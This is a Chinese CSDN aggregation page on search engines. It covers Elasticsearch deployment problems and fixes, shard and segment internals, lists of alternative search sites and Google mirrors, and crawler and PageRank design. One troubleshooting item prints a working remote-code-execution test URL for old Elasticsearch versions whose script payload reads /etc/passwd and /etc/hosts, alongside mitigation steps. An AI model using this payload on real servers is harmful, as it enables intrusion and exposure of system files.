搜索引擎_搜索引擎原理 - CSDN
搜索引擎 订阅
所谓搜索引擎,就是根据用户需求与一定算法,运用特定策略从互联网检索出制定信息反馈给用户的一门检索技术。搜索引擎依托于多种技术,如网络爬虫技术、检索排序技术、网页处理技术、大数据处理技术、自然语言处理技术等,为信息检索用户提供快速、高相关性的信息服务。搜索引擎技术的核心模块一般包括爬虫、索引、检索和排序等,同时可添加其他一系列辅助模块,以为用户创造更好的网络使用环境。 [1] 展开全文
所谓搜索引擎,就是根据用户需求与一定算法,运用特定策略从互联网检索出制定信息反馈给用户的一门检索技术。搜索引擎依托于多种技术,如网络爬虫技术、检索排序技术、网页处理技术、大数据处理技术、自然语言处理技术等,为信息检索用户提供快速、高相关性的信息服务。搜索引擎技术的核心模块一般包括爬虫、索引、检索和排序等,同时可添加其他一系列辅助模块,以为用户创造更好的网络使用环境。 [1]
信息
关键技术
网络爬虫、大数据处理、数据挖掘等
作    用
信息获取
分    类
全文索引、目录索引等
中文名
搜索引擎
代    表
百度、谷歌等
外文名
search engine
搜索引擎定义
搜索引擎是指根据一定的策略、运用特定的计算机程序从互联网上采集信息,在对信息进行组织和处理后,为用户提供检索服务,将检索的相关信息展示给用户的系统。搜索引擎是工作于互联网上的一门检索技术,它旨在提高人们获取搜集信息的速度,为人们提供更好的网络使用环境。从功能和原理上搜索引擎大致被分为全文搜索引擎、元搜索引擎、垂直搜索引擎和目录搜索引擎等四大类。 [2]  搜索引擎发展到今天,基础架构和算法在技术上都已经基本成型和成熟。搜索引擎已经发展成为根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统。 [3] 
收起全文
精华内容
参与话题
  • 搜索引擎

    千次阅读 2019-07-14 18:58:09
    搜索引擎 搜索引擎 一. 什么是收索引擎 搜索引擎(Search Engine)是指:根据一定的策略、运用特定的...搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表 全...

    搜索引擎

    搜索引擎
    一. 什么是收索引擎
    搜索引擎(Search Engine)是指:根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统。比如百度就是一款比较流行的搜索引擎。

    二.常用的收索引擎有哪些,区别
    搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表
    全文索引、目录索引的区别
    1、搜索引擎属于自动网站检索,而目录索引则完全依赖手工操作。
    2、搜索引擎收录网站时,只要网站本身没有违反有关的规则,一般都能登录成功。而目录索引对网站的要求则高得多,有时即使登录多次也不一定成功。
    3、在登录搜索引擎时,我们一般不用考虑网站的分类问题,而登录目录索引时则必须将网站放在一个最合适的目录。
    4、搜索引擎中各网站的有关信息都是从用户网页中自动提取的,用户的我们拥有更多的自主权;而目录索引则要求必须手工另外填写网站信息,而且还有各种各样的限制。

    三.项目中如何使用ES,

    1.下载安装elasticsearch
    2.下载安装elasticsearch-head插件,图形化界面操作
    3.将原有项目数据库数据和ES库连接同步,此处用到工具elasticsearch-jdbc
    4.将查询或操作的数据源切换到ES库

    四.ES的HEAD插件有什么作用,
    1.显示集群的拓扑,并且能够执行索引和节点级别操作
    2.搜索接口能够查询集群中原始json或表格格式的检索数据
    3.能够快速访问并显示集群的状态
    4.有一个输入窗口,允许任意调用RESTful API。这个接口包含几个选项,可以组合在一起以产生不同的结果;
    5.请求方法(get、put、post、delete),查询json数据,节点和路径
    6.支持JSON验证器
    7.支持重复请求计时器
    8.支持使用javascript表达式变换结果
    五.ES如何配置IK分词器,常用分词器区别
    https://www.cnblogs.com/buxiangbuliang/p/9488162.html
    六.如何自定义词库
    https://blog.csdn.net/Barbarousgrowth_yp/article/details/80242811

    七.如何实现ES和数据库同步
    https://blog.csdn.net/qq_40670946/article/details/82181005

    八.项目使用情况,以及解决
    1.由gc引起节点脱离集群

    因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。

    解决方法:

    (1)优化gc,减少gc时间。

    (2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。

    后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

    2.out of memory错误

    因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。

    解决方法:

    (1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

    (2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。

    3.无法创建本地线程问题

    es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

    刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小10241024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。

    解决方法:

    (1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。

    (2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。

    4.集群状态为黄色时并发插入数据报错

    [7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

    这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。

    解决方法:

    (1)去掉没分配的副本。

    (2)把写一致性改成one,即只写入一份索引就行。

    5.设置jvm锁住内存时启动警告

    当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。

    解决方法:设置为无限制,linux命令:ulimit -l unlimited

    6.错误使用api导致集群卡死

    其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。

    解决方法:用bulkRequest进行批量删除操作。

    7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

    原因:es节点之间的JDK版本不一样

    解决方法:统一JDK环境

    8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available

    1) 端口错

    client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

    这里9300 写成9200的话会No node available

    要是你连的不是本机,注意IP有没有正确

    2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

    3) 要是你改了集群名字,还有设置集群名字

    Settings settings = ImmutableSettings.settingsBuilder().put(“cluster.name”, “xxx”).build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

    4)集群超过5s没有响应

    解决方法1.设置client.transport.ping_timeout设大

    2.代码内加入while (true) {

    try {

    bulk.execute().actionGet(getRetryTimeout());

    break;

    }

    catch (NoNodeAvailableException cont) {

    Thread.sleep(5000);

    continue;

    }

    }

    9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击 。

    漏洞影响版本:

    elasticsearch 1.2以下

    测试代码:

    http:// ESSERVERIP :9200/search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&=1400571156309

    浏览器会返回/etc/passwd内容

    解决方案 :

    1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true

    2、严格限制可访问elasticsearch服务的IP地址

    九.个人补充
    简介
    ElasticSearch(以下简称ES)是一个基于Lucene构建的开源(open-source),分布式(distributed),RESTful,实时(real-time)的搜索与分析(analytics)引擎。它可以让你在浏览数据时具备非常快的速度和优秀的可扩展性。它用于全文索引、结构化数据索引、数据分析以及三者的结合。它可以运行在你的笔记本上,或者扩展至数百台的服务器节点上来处理PB级的数据。 ES建立在Lucene的基础之上,但是Lucene仅仅是一个库,如果要发挥它的优势,你必须使用它然后再结合自己的开发来构造一个具体的应用。更坏的是你必须了解Lucene才能更好的使用它,但是Lucene本身就很复杂。所以ES意在取Lucene的优点,隐蔽其复杂性来构造一个简洁易用的RESTful风格的全文搜索引擎。
    与关系型数据库的名词对照
    Relational DB => Databases => Tables => Rows => Columns Elasticsearch => Indices => Types => Documents => Fields
    设计原理
    创建一个索引—index,shard,cluster
    将数据添加到ES的前提是,我们需要一个索引(名词):index——一个存储与这个索引相对应数据的地方。实际上,index仅仅只是一个命名空间来指向一个或多个实际的物理分片(shard)。
    一个分片(shard)是一个比较低层的工作单元来处理这个索引(index)的所有数据的一个切片(slice)。一个shard实际上是一个Lucene实例,在它的能力范围内拥有完整的搜索功能(在处理它自己拥有的数据时有所有的功能)。我们所有文档的索引indexed(动词)和存储工作都是在shard上,但这是透明的,我们不需要直接和shard通信,而是和我们创建的index(名词)通信。
    shards是ES将数据分布式在你的集群的关键。想象下shards是数据的容器,文档存储在shards里,而shards被分配在集群的每一个节点Node里。当你的集群规模增长和降低时,ES会自动的在Nodes间迁移shards以保持集群的负载均衡。
    shard的分类与作用:
    shard可分为primary shard和replica shard。 在一个index里的每一个文档都属于一个单独的primary shard,所以primary shard的数量决定了你最大能存储的数据量(对应于一个index)。
    注意:shard是归属与index的,而不是cluster的。
    replica shard是primary shard的拷贝。replica有两个作用: 1.冗余容灾 2.提供读请求服务,例如搜索或读取文档
    primary shard的数量在索引创建时确定后不能修改,replica可以在任何时候修改。 例: 见Figure2,在2.1的集群上创建一个index,拥有3个primary shards以及1个replica shards。

    由于只有一台Node,而Primary shard的Replicas与其在同一台节点上毫无意义,所以集群没有初始化replicas,这时添加另外一台Node。见Figure3,每一个primary shard初始化了一个replica。

    2.3 水平扩容
    当我们继续添加一台节点时,Node1和Node2中的各取一个shard移动到了Node3.见Figure4

    这样,我们每一台Node上只有两个shard。这就意味着每一台Node的硬件资源(CPU,RAM,I/O)将会被更少的shards共享,提高了每一个shard的性能。在这个案例中,6个shards最多可使用6台Node,这样每个shard就可以使用100%的node硬件资源。
    现在我们修改replica的数量到2,如Figure5

    这样我们就有了一个3primary shards,6replica shards的Cluster。我们可将Node提高到9台。水平扩容了集群性能。
    2.4 容灾
    我们杀掉的是master节点。一个Cluster必须要有master以保证集群的功能正常。所以集群要做的第一件事是选择一个新的master:Node2. 当我们杀掉1节点时,Primary shards 1和2丢失了。如果丢失了primary shard,index(名词)将不能正常的工作。此时P1和P2的拷贝存在Node2和Node3上。所以此时新升级的master(Node2)将做的第一件事就是将NODE2和NODE3上的replica shard1和replica shard2升级为primary shard。此时如果我们杀掉NODE2,整个集群的容灾过程同理,还是可以正常运行。
    这时,如果我们重启了NODE1,cluster将会重新分配缺少的两个replica shards(现在每个primary shard只有2个replicas,配置是3个,缺少2个)。如果NODE1的数据是旧的,那么它将会继续利用它们,NODE1只会从现在的Primary Shards拷贝这期间更改的数据。
    2.5 分布式文档存储
    2.5.1 Shards文档路由
    当你对一个文档建立索引时,它仅存储在一个primary shard上。ES是怎么知道一个文档应该属于哪个shard?当你创建一个新的文档时,ES是怎么知道应该把它存储至shard1还是shard2? 这个过程不能随机无规律的,因为以后我们还要将它取出来。它的路由算法是:
    shard = hash(routing) % numberofprimary_shards
    routing的值可以是文档的id,也可以是用户自己设置的一个值。hash将会根据routing算出一个数值然后%primaryshards的数量。这也是为什么primary_shards在index创建时就不能修改的原因。
    问题:当看到这里时,产生了一个问题:ES为什么要这样设计路由算法,这样就强制使primaryshards不可变,不利于以后index的扩容,除非事前就要对数据规模有所评估来设计可扩展的index。为什么不能使用一致性hash解决primaryshards改变时的情况呢?
    2.5.2 Primary/Replica Shards的交互
    假如我们有Figure8的集群。我们可以向这个集群的任何一台NODE发送请求,每一个NODE都有能力处理请求。每一个NODE都知道每一个文档所在的位置所以可以直接将请求路由过去。下面的例子,我们将所有的请求都发送到NODE1。

    注:最好的实践方式是轮询所有的NODE来发送请求,以达到请求负载均衡。
    写操作
    创建、索引、删除文档都是写操作,这些操作必须在primary shard完全成功后才能拷贝至其对应的replicas上。见Figure9。

    下面是Figure9的步骤:
    1.客户端向Node1发送写操作的请求。
    2.Node1使用文档的_id来决定这个文档属于shard0,然后将请求路由至NODE3,P0所在的位置。
    3.Node3在P0上执行了请求。如果请求成功,则将请求并行的路由至NODE1 NODE2的R0上。当所有的replicas报告成功后,NODE3向请求的node(NODE1)发送成功报告,NODE1再报告至Client。
    当客户端收到执行成功后,操作已经在Primary shard和所有的replica shards上执行成功了。
    当然,有一些请求参数可以修改这个逻辑。见原文。
    读操作
    一个文档可以在primary shard和所有的replica shard上读取。见Figure10

    读操作步骤:
    1.客户端发送Get请求到NODE1。
    2.NODE1使用文档的_id决定文档属于shard 0.shard 0的所有拷贝存在于所有3个节点上。这次,它将请求路由至NODE2。
    3.NODE2将文档返回给NODE1,NODE1将文档返回给客户端。 对于读请求,请求节点(NODE1)将在每次请求到来时都选择一个不同的replica。
    shard来达到负载均衡。使用轮询策略轮询所有的replica shards。
    更新操作
    更新操作,结合了以上的两个操作:读、写。见Figure11

    步骤:
    1.客户端发送更新操作请求至NODE1
    2.NODE1将请求路由至NODE3,Primary shard所在的位置
    3.NODE3从P0读取文档,改变source字段的JSON内容,然后试图重新对修改后的数据在P0做索引。如果此时这个文档已经被其他的进程修改了,那么它将重新执行3步骤,这个过程如果超过了retryon_conflict设置的次数,就放弃。
    4.如果NODE3成功更新了文档,它将并行的将新版本的文档同步到NODE1和NODE2的replica shards重新建立索引。一旦所有的replica
    shards报告成功,NODE3向被请求的节点(NODE1)返回成功,然后NODE1向客户端返回成功。
    2.6 Shard
    本节将解决以下问题:
    为什么搜索是实时的
    为什么文档的CRUD操作是实时的
    ES怎么保障你的更新在宕机的时候不会丢失
    为什么删除文档不会立即释放空间
    2.6.1不变性

    写到磁盘的倒序索引是不变的:自从写到磁盘就再也不变。 这会有很多好处:
    不需要添加锁。如果你从来不用更新索引,那么你就不用担心多个进程在同一时间改变索引。
    一旦索引被内核的文件系统做了Cache,它就会待在那因为它不会改变。只要内核有足够的缓冲空间,绝大多数的读操作会直接从内存而不需要经过磁盘。这大大提升了性能。
    其他的缓存(例如fiter cache)在索引的生命周期内保持有效,它们不需要每次数据修改时重构,因为数据不变。
    写一个单一的大的倒序索引可以让数据压缩,减少了磁盘I/O的消耗以及缓存索引所需的RAM。
    当然,索引的不变性也有缺点。如果你想让新修改过的文档可以被搜索到,你必须重新构建整个索引。这在一个index可以容纳的数据量和一个索引可以更新的频率上都是一个限制。
    2.6.2动态更新索引
    如何在不丢失不变形的好处下让倒序索引可以更改?答案是:使用不只一个的索引。 新添额外的索引来反映新的更改来替代重写所有倒序索引的方案。 Lucene引进了per-segment搜索的概念。一个segment是一个完整的倒序索引的子集,所以现在index在Lucene中的含义就是一个segments的集合,每个segment都包含一些提交点(commit point)。见Figure16。新的文档建立时首先在内存建立索引buffer,见Figure17。然后再被写入到磁盘的segment,见Figure18。

    一个per-segment的工作流程如下:
    1.新的文档在内存中组织,见Figure17。
    2.每隔一段时间,buffer将会被提交: 一个新的segment(一个额外的新的倒序索引)将被写到磁盘 一个新的提交点(commit point)被写入磁盘,将包含新的segment的名称。 磁盘fsync,所有在内核文件系统中的数据等待被写入到磁盘,来保障它们被物理写入。
    3.新的segment被打开,使它包含的文档可以被索引。
    4.内存中的buffer将被清理,准备接收新的文档。
    当一个新的请求来时,会遍历所有的segments。词条分析程序会聚合所有的segments来保障每个文档和词条相关性的准确。通过这种方式,新的文档轻量的可以被添加到对应的索引中。
    删除和更新
    segments是不变的,所以文档不能从旧的segments中删除,也不能在旧的segments中更新来映射一个新的文档版本。取之的是,每一个提交点都会包含一个.del文件,列举了哪一个segmen的哪一个文档已经被删除了。 当一个文档被”删除”了,它仅仅是在.del文件里被标记了一下。被”删除”的文档依旧可以被索引到,但是它将会在最终结果返回时被移除掉。
    文档的更新同理:当文档更新时,旧版本的文档将会被标记为删除,新版本的文档在新的segment中建立索引。也许新旧版本的文档都会本检索到,但是旧版本的文档会在最终结果返回时被移除。
    2.6.3实时索引
    在上述的per-segment搜索的机制下,新的文档会在分钟级内被索引,但是还不够快。 瓶颈在磁盘。将新的segment提交到磁盘需要fsync来保障物理写入。但是fsync是很耗时的。它不能在每次文档更新时就被调用,否则性能会很低。 现在需要一种轻便的方式能使新的文档可以被索引,这就意味着不能使用fsync来保障。 在ES和物理磁盘之间是内核的文件系统缓存。之前的描述中,Figure19,Figure20,在内存中索引的文档会被写入到一个新的segment。但是现在我们将segment首先写入到内核的文件系统缓存,这个过程很轻量,然后再flush到磁盘,这个过程很耗时。但是一旦一个segment文件在内核的缓存中,它可以被打开被读取。

    2.6.4更新持久化
    不使用fsync将数据flush到磁盘,我们不能保障在断电后或者进程死掉后数据不丢失。ES是可靠的,它可以保障数据被持久化到磁盘。 在2.6.2中,一个完全的提交会将segments写入到磁盘,并且写一个提交点,列出所有已知的segments。当ES启动或者重新打开一个index时,它会利用这个提交点来决定哪些segments属于当前的shard。 如果在提交点时,文档被修改会怎么样?不希望丢失这些修改:
    1.当一个文档被索引时,它会被添加到in-memory buffer,并且添加到Translog日志中,见Figure21.

    2.refresh操作会让shard处于Figure22的状态:每秒中,shard都会被refreshed:

    在in-memory buffer中的文档会被写入到一个新的segment,但没有fsync。
    in-memory buffer被清空
    3.这个过程将会持续进行:新的文档将被添加到in-memory buffer和translog日志中,见Figure23

    4.一段时间后,当translog变得非常大时,索引将会被flush,新的translog将会建立,一个完全的提交进行完毕。见Figure24

    在in-memory中的所有文档将被写入到新的segment
    内核文件系统会被fsync到磁盘。
    旧的translog日志被删除
    translog日志提供了一个所有还未被flush到磁盘的操作的持久化记录。当ES启动的时候,它会使用最新的commit point从磁盘恢复所有已有的segments,然后将重现所有在translog里面的操作来添加更新,这些更新发生在最新的一次commit的记录之后还未被fsync。
    translog日志也可以用来提供实时的CRUD。当你试图通过文档ID来读取、更新、删除一个文档时,它会首先检查translog日志看看有没有最新的更新,然后再从响应的segment中获得文档。这意味着它每次都会对最新版本的文档做操作,并且是实时的。
    2.6.5 Segment合并
    通过每隔一秒的自动刷新机制会创建一个新的segment,用不了多久就会有很多的segment。segment会消耗系统的文件句柄,内存,CPU时钟。最重要的是,每一次请求都会依次检查所有的segment。segment越多,检索就会越慢。
    ES通过在后台merge这些segment的方式解决这个问题。小的segment merge到大的,大的merge到更大的。。。
    这个过程也是那些被”删除”的文档真正被清除出文件系统的过程,因为被标记为删除的文档不会被拷贝到大的segment中。
    合并过程如Figure25:

    1.当在建立索引过程中,refresh进程会创建新的segments然后打开他们以供索引。
    2.merge进程会选择一些小的segments然后merge到一个大的segment中。这个过程不会打断检索和创建索引。
    3.Figure26,一旦merge完成,旧的segments将被删除
    新的segment被flush到磁盘
    一个新的提交点被写入,包括新的segment,排除旧的小的segments
    新的segment打开以供索引
    旧的segments被删除
    merge大的segments会消耗大量的I/O和CPU,严重影响索引性能。默认,ES会节制merge过程来给留下足够多的系统资源。

    展开全文
  • 搜索引擎推荐

    千次阅读 2019-04-20 23:58:51
    ​关于搜索,日常使用的非常多,今天来推荐几个搜索引擎。 分为两类,一类是比较小众的搜索引擎,但是用起来也很给力,第二类是谷歌镜像,第三类是搜索引擎导航,有很多搜索引擎,可以快速切换,用起来很方便。 ...

    ​关于搜索,日常使用的非常多,今天来推荐几个搜索引擎。

    分为两类,一类是比较小众的搜索引擎,但是用起来也很给力,第二类是谷歌镜像,第三类是搜索引擎导航,有很多搜索引擎,可以快速切换,用起来很方便。

    小众的搜索引擎

    虽说是小众的搜索引擎,但是用起来也很不错。每一个我都用过一段时间,搜索结果应该都比百度好一些吧。

    1.小众搜索引擎 http://www.caup.cn/[1]

     

    对的,这个搜索引擎就叫小众搜索引擎。这个搜索结果和谷歌很类似,不完全一样,做了一些整合。如果你是做技术的,但是又不能访问谷歌,或者有时候没有条件,或者懒得折腾,可以用这款搜索引擎,因为这个搜索引擎有一个特性,就是技术类的他会在stackoverflow搜索出结果,然后放在外面,不用点进去链接,直接得到结果。

    举个例子,可能不是很恰当:

     

    22.

    https://www.ecosia.org/[2]

    不知道叫什么名字。总之用着还不错,没有深入研究过。

    33.

    MEZW搜索 https://so.mezw.com/[3]

     

     

     

    搜索导航

    搜索导航类的网站,其实也挺多。但是这里只分享一个,足以碾压其他的导航类,因为种类齐全,而且还体验还不错。

    •虫部落导航 https://search.chongbuluo.com/[4]

     

     

    镜像类搜索

    1.

    全渠道搜索 http://dir.scmor.com/[5]

    推荐这个是因为这个是很稳定的镜像,准确的来说是一个镜像组,一个不行,就另一个,还是比较好用的。后台是有五六个镜像的。

    2 2.

    谷歌搜索镜像 http://ac.scmor.com/[6]

    3 3.

    hiqq搜索 http://nav.hiqq.com.cn/twy/[7]

     

     

     

    其实还有几个图书类和网盘类的搜索引擎,但是估计用的人比较少,就不分享了,如果有人需要,留言说明,下次分享。

    References

    [1]http://www.caup.cn/
    [2]https://www.ecosia.org/
    [3]https://so.mezw.com/
    [4]https://search.chongbuluo.com/
    [5]http://dir.scmor.com/
    [6]http://ac.scmor.com/
    [7]http://nav.hiqq.com.cn/twy/

     

    如果觉得写得不错,欢迎关注我的微信公众号

    展开全文
  • 搜索引擎及其开发

    千次阅读 2019-03-17 18:52:51
    按照目的的不同,搜索引擎分了两种:通用搜索(业内称为大搜索)和垂直搜索。网页搜索是大搜索,新闻搜索、论坛搜索是垂直搜索,酷讯的生活搜索之类的都是垂直搜索。 二、组成 一般说,搜索引擎包括这几部分:下载...

    一、分类

    按照目的的不同,搜索引擎分了两种:通用搜索(业内称为大搜索)和垂直搜索。网页搜索是大搜索,新闻搜索、论坛搜索是垂直搜索,酷讯的生活搜索之类的都是垂直搜索。

    二、组成

    一般说,搜索引擎包括这几部分:下载(爬虫)子系统,数据预处理子系统,搜索服务,控制(及监控)部分。搜索引擎是一个比较新的行业,国内也掌握了核心的技术。所以,和做OA,做工作流,做核心层上的应用有些不同,系统无论是从规模还是性能上讲都有比较高的要求。

     

    下载。互联网通过超链,每一个网页是一个点,然后点和点之间有关联,关联的注释就是链接文本,所有的链接组成了一个巨大的网。大搜索下载的任务就是把这些网的每一个点都保存到本地(当然这是说理论上,现在互联网的规模,恐怕google也无法把所有的东西都保存到本地)。这带来几个问题:1. 网页如何尽量不重复的下载。网络带宽资源是有限的,本地硬盘资源也是有限的,下载的时间也是有限制的,重复的下载系统受不了。2. 互联网是不断更新的,这种更新需要反映到本地硬盘上的数据。如何尽量及时的更新?

     

    一个Url就是一个字符串,而且这个字符串比较长。给保存和比较都带来了麻烦。我们对Url做md5映射,把它映射成一个64位的整形值。现在大多用的是64位。Md5本来算出来时128位,一般是取前64位。Md5的重复率很低。我曾经做过70亿Url的实验,我尽量模拟Url的组成生成了70亿Url,然后取md5值,排重,没有发现一个重的;而且md5的散列非常好,他本身可以认为是一个哈希散列,但是分布的非常随机。我把70亿的结果值分散到多个文件里边,每个文件里边的ID的个数基本上是一样的。我们可以认为,每一个Url取了md5值以后,他的这个ID值是唯一的。它可以用来比较两个字符串是否相同。也称作信息指纹。是判断是否相同的重要的办法。

     

    对ID值取模(mod)是一个非常重要的思想。依赖于md5值的散列性,你可以把大量的数据分成小堆,存到文件,各个小堆的数据是控制到可以放到内存中处理。这是查找、排重、以及后边建索引的基本的方法。它使得我们可以把大任务分解成可以并发解决。这样的并发系统是一个明显的木桶理论模型:决定于处理速度最慢的一个。但是,md5的散列性非常好,各个处理部分处理的数据在规模上相差不大,或者说基本上是一样的。比如上边所说的例子,70亿ID值。70亿*8=56G,放到内存里边不太现实。可以把他们对200取模,放到文件,每个文件280M,然后对每一个文件进行处理。那就随你的便了。

     

    下载分成Server端和Client端。Server端指定下载的种子,他把这些url发给Client端,client端把server端给的url下载下来以后,分析页面把分析出来的url发给server端。。。。如此循环。有了上边的介绍,判断是否下载就好说了。都是64位值得比较。最简单的办法,你可以利用平衡二叉树,这是一个非常方便的动态查找的办法。不过,数据量一大,64位值也会占用很多的内存。我们可以算一下。1亿*8约等于800M,而且树节点左右指针也要占8个字节,平衡二叉树还有一个标记变量,这样算下来,放完1亿大约需要1.8G。不过他的查询速度可以忍受,而且是绝对的不重复,没有误差。假设我们可以探测到的Url是100亿网页,按照这种办法,一台机器按照放2亿计算,需要100/2=50台server端。这样的确是要不少的机器,当然还有其他的办法。需要仔细的去想。呵呵。

     

    垂直搜索的下载和大搜索的下载是不一样的。垂直搜索针对一些特定的网站。以新闻为例:新闻下载会针对新闻源,比如新浪,china.com等新闻发布网站定时、定向抓取;寻找他们的新闻发布的规律,把那些网页下载下来。这就没有上边所说的大图的遍历和更新机制的问题了。难度不可同日而语。

     

    不过,不要看了这些就认为下载很简单,这是一个与经验关系非常密切的活。上边说的都好说,但是,下载过程中碰到的问题可就多了。你需要解决大量的意想不到的事情,我在这里也不能多说,不过可以举几个例子:如果你把一个网站访问的太过频繁,重则把这个网站给弄瘫痪了(特别是小网站,大网站的抗打击能力还可以),轻则。。。让管理员注意到了太多的访问就把你的IP给封了。下载需要礼貌。毕竟是访问别人的网站。这是到别人家里做客啊!可不比自己家!还有作弊网页,大量的SEO作弊网页,下载的时候需要去掉一部分;还有,不是所有的网站都是可以在任何时候访问的,新浪首页下载不下来的时候你怎么办?得多想想后边如何处理。

     

    下载完了的数据需要进行处理。抽取标题,正文,父链接,字连接,链接文本。这是后边的数据基础。所有这些以及后边的其他的部分,难度大多集中于数据量。

     

    正文解析。把一个html中的正文解析出来,不是很轻松。这个一般有两种方法:1. 基于模板。这个用在新闻正文的解析上比较多。一个网站的新闻在一个时间段内往往有基本固定的格式,可以基本按照这个格式把不光是正文,各个值域,比如发布时间,作者等的统统解析出来。只是需要在网页结构改变的时候,人工做很多的模板。 2. VIPS:基于视觉的Web页面分页算法。呵呵。简单讲来,就是人看一篇网页的时候,人觉得网页正文应该在什么地方,然后让程序去根据位置模拟人的视觉判断,把正文解析出来。说到这里多说两句,微软很有意思,VIPS以及后边要提到的相关性的BM25公式都是微软研究院提出来的,而且这两种办法在搜索引擎上用的都是很广泛,事实证明,这两个办法是非常有效的办法。但是,呵呵,搜索他还是没有干过google。不光这样,msn的livesearch在各个搜索结果质量排名的时候基本都是倒数的。真是奇了怪了。不知道微软工程院是怎么干的。呵呵。

     

    排重。也叫网页指纹,这个针对于网页的正文。网页有大量的转载网页。他们的正文区别就是一个或者是几个字的区别,剩下的不同都是乱七八糟的广告,flash。如何才能判断是否重复?一般有两种:1. 关键字Top10   2. 文本向量的方法。 这些网上都有很多的讨论,也有人做了很多的教程。你在网上多搜一下,以后有时间我也可以总结一下。而且,这些我们认为重复的网页是否做索引?索引怎么放?是个问题。你可以看看各个大搜索引擎的相似网页功能。

     

    PageRank,基于链接分析。最早是google的创始人提出来的。你可以看他们的论文<< The Anatomy of a Large-Scale Hypertextual Web Search Engine>>;  有意思的是,百度的创始人李彦宏在链接分析上也有专利,是否有点巧合?呵呵。不过,可以说对链接的分析开启了第二代搜索。第一代搜索是以雅虎的目录式,第二代以google为代表。第三代?我认为那是概念。还没有看到,还没有看到搜索的革命性变化。PageRank给出了一个静态的表示网页质量的方法,他认为,被链接的次数越多的网站,他的质量越好,重要程度越高。有点类似于越是明星,认识他的人也就越多一样。当然还有其他的办法分析链接。你可以找找看。 很多这样的论文,简直太多了,不过够用就好。挖地三千尺应该是google们干的事情。

     

